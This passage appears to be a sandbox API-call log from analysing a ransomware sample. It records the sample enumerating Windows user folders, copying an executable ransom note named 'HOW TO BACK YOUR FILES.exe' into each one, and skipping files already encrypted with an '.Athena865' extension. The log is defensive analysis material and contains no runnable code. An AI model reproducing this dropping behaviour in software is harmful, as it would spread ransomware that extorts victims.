lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.143] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.143] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0054.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdb0 [0054.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8e) returned 0x532ee8 [0054.143] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0054.143] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0054.143] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.144] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0054.144] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.144] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.144] lstrcpyW (in: lpString1=0x241e8b4, lpString2="History" | out: lpString1="History") returned="History" [0054.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd98 [0054.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519bb8 [0054.144] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0054.144] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0054.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.144] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.144] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.144] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0054.144] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.144] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.145] lstrcpyW (in: lpString1=0x241e8b4, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0054.145] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0054.145] lstrlenW (lpString="Athena865") returned 9 [0054.145] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.145] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0054.145] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.145] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.145] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0054.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc90 [0054.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519c40 [0054.145] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0054.145] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0054.145] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.145] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0054.145] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.145] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.146] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0054.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc78 [0054.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522990 [0054.146] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0054.146] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0054.146] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.146] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0054.146] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.146] ReleaseMutex (hMutex=0xec) returned 1 [0054.146] CloseHandle (hObject=0xec) returned 1 [0054.146] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Music" | out: lpString1="C:\\Documents and Settings\\Default User\\Music") returned="C:\\Documents and Settings\\Default User\\Music" [0054.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b670 | out: hHeap=0x4f0000) returned 1 [0054.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdc8 | out: hHeap=0x4f0000) returned 1 [0054.146] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Music") returned 44 [0054.147] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D53390C7C20AEE1724F4D2EEFD582D5A") returned 0xec [0054.147] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.147] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Music" | out: lpString1="C:\\Documents and Settings\\Default User\\Music") returned="C:\\Documents and Settings\\Default User\\Music" [0054.147] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.147] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.147] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.147] GetLastError () returned 0x0 [0054.147] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.147] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.148] CloseHandle (hObject=0xf4) returned 1 [0054.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.148] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.148] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.148] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.148] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.149] lstrcpyW (in: lpString1=0x241e8a2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.149] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.149] lstrlenW (lpString="Athena865") returned 9 [0054.149] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.149] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.149] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.149] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.149] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.149] ReleaseMutex (hMutex=0xec) returned 1 [0054.149] CloseHandle (hObject=0xec) returned 1 [0054.149] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\My Documents" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents") returned="C:\\Documents and Settings\\Default User\\My Documents" [0054.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e120 | out: hHeap=0x4f0000) returned 1 [0054.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cde0 | out: hHeap=0x4f0000) returned 1 [0054.149] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\My Documents") returned 51 [0054.149] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\769CA4B0B8DEB6614595475DA2A42561") returned 0xec [0054.149] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.152] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\My Documents" | out: lpString1="C:\\Documents and Settings\\Default User\\My Documents") returned="C:\\Documents and Settings\\Default User\\My Documents" [0054.152] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.152] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.153] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.153] GetLastError () returned 0x0 [0054.153] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.153] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.153] CloseHandle (hObject=0xf4) returned 1 [0054.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.153] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.153] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.154] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.154] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.154] lstrcpyW (in: lpString1=0x241e8b0, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.154] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.154] lstrlenW (lpString="Athena865") returned 9 [0054.154] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.154] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.154] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.154] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0054.154] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.154] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.154] lstrcpyW (in: lpString1=0x241e8b0, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0054.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cde0 [0054.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519cc8 [0054.154] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0054.154] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0054.154] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.155] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0054.155] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.155] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.155] lstrcpyW (in: lpString1=0x241e8b0, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0054.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdc8 [0054.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519d50 [0054.155] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0054.155] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0054.155] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.155] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0054.155] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.156] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.156] lstrcpyW (in: lpString1=0x241e8b0, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0054.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc60 [0054.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519dd8 [0054.156] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0054.156] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0054.156] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.156] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0054.156] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.156] ReleaseMutex (hMutex=0xec) returned 1 [0054.156] CloseHandle (hObject=0xec) returned 1 [0054.156] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\NetHood" | out: lpString1="C:\\Documents and Settings\\Default User\\NetHood") returned="C:\\Documents and Settings\\Default User\\NetHood" [0054.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b6d8 | out: hHeap=0x4f0000) returned 1 [0054.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdf8 | out: hHeap=0x4f0000) returned 1 [0054.157] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\NetHood") returned 46 [0054.157] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FCCBEDC14537A3CFE358219BA2AB4CD1") returned 0xec [0054.157] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.157] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\NetHood" | out: lpString1="C:\\Documents and Settings\\Default User\\NetHood") returned="C:\\Documents and Settings\\Default User\\NetHood" [0054.157] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.157] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.157] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.157] GetLastError () returned 0x0 [0054.157] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.158] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.158] CloseHandle (hObject=0xf4) returned 1 [0054.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.158] lstrcatW 